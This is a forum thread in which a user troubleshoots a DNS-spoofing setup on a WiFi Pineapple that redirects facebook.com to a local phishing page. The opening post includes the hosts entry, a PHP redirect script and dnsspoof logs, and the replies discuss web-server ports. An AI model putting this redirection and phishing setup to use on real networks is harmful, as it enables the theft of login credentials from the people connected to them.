Jump to content

Dnsspoof troubles


Scrag
 Share

Recommended Posts

Hi.

Its my first time setting up Dnsspoof. I have watched a lot of youtube videos and have been following along to get a fake test facebook.com phishing page going. Ive gone through a lot of videos and turorials and I must be missing something because mine doesnt work. When you goto www.facebook.com, it just gives you a "page cannot be displayed" page. When I ping www.facebook.com it comes back as 172.16.42.1, so I know the "spoofing" portion works. I have my modified facebook.html and files copied to /www on the pineapple. Below are my config's.

Hosts

172.16.42.1 *.facebook.com

Redirect.php

<?php
        $ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

        if (strpos($ref, "example")){
		header('Status: 302 Found');
                header('Location: example.html');
        }

	if (strpos($ref, "facebook")){
		header('Status: 302 Found');
		header('Location: facebook.html');
	}

        require('error.php');

?>

Output so far....its loggin my attempts at least

dnsspoof output_1385335664.log [November 25 2013 01:20:39]
dnsspoof: listening on br-lan [udp dst port 53 and not src 172.16.42.1]
172.16.42.141.54762 > 172.16.42.1.53:  1801+ A? www.facebook.com
172.16.42.141.49251 > 172.16.42.1.53:  49954+ A? www.facebook.com
172.16.42.141.55392 > 172.16.42.1.53:  37161+ A? www.facebook.com
172.16.42.141.54352 > 172.16.42.1.53:  37704+ A? s-static.ak.facebook.com
172.16.42.141.57804 > 172.16.42.1.53:  12638+ A? www.facebook.com
172.16.42.203.44070 > 172.16.42.1.53:  37865+ A? www.facebook.com
172.16.42.203.46406 > 172.16.42.1.53:  34566+ A? www.facebook.com
172.16.42.203.36324 > 172.16.42.1.53:  5921+ A? www.facebook.com

index.php

<html>
<head>
<meta http-equiv="REFRESH" content="0;url=redirect.php">
</head>
<body>
</body>
</html>

Ive also attached a screen shot of the files in /www on my pineapple.

Any advice would be greatly appreciated!!

Thanks,

Scrag

post-43836-0-73319000-1385343646_thumb.j

Edited by Scrag
Link to comment
Share on other sites

  • 2 months later...

Cotica,

Have you even tried dnsspoofing yet? Or better yet the RandomRoll infusion? My point is it does not normally use 8080. It uses 80 by default and the posts above seem to say his deviated from this.

Link to comment
Share on other sites

Cotica,

Have you even tried dnsspoofing yet? Or better yet the RandomRoll infusion? My point is it does not normally use 8080. It uses 80 by default and the posts above seem to say his deviated from this.

Yes I have already tried both. It seems that use 8080 for the webserver although I have never touched anything.

Link to comment
Share on other sites

Ok, Checked everything out and it's all still working normally. RandomRoll works fine and both internal spoofing (Pineapple Surprise) and external spoofing (204.79.197.200 *) i.e. sending everyone to Bing instead of where they want works as well. Don't know what to tell you guys. Didn't see the 8080 problem either.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...